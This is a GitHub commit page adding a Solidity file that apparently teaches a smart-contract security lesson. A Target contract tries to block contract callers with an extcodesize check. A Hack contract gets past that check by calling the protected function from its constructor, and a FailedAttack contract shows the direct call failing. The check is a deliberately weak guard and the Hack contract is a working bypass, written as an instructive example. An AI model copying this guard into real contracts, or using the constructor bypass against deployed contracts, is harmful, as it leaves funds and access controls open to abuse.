-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Browse files
Browse the repository at this point in the history
- Loading branch information
Showing
1 changed file
with
37 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8; | ||
|
||
contract Target { | ||
function isContract(address account) public view returns (bool) { | ||
uint size; | ||
assembly { | ||
size := extcodesize(account) | ||
} | ||
return size > 0; | ||
} | ||
|
||
bool public pwned = false; | ||
|
||
function protected() external { | ||
require(!isContract(msg.sender), "no contract allowed"); | ||
pwned = true; | ||
} | ||
} | ||
|
||
contract FailedAttack { | ||
// Attempting to call Target.protected will fail, | ||
// Target block calls from contract | ||
function pwn(address _target) external { | ||
// This will fail | ||
Target(_target).protected(); | ||
} | ||
} | ||
|
||
contract Hack { | ||
bool public isContract; | ||
|
||
constructor(address _target) { | ||
isContract = Target(_target).isContract(address(this)); | ||
Target(_target).protected(); | ||
} | ||
} |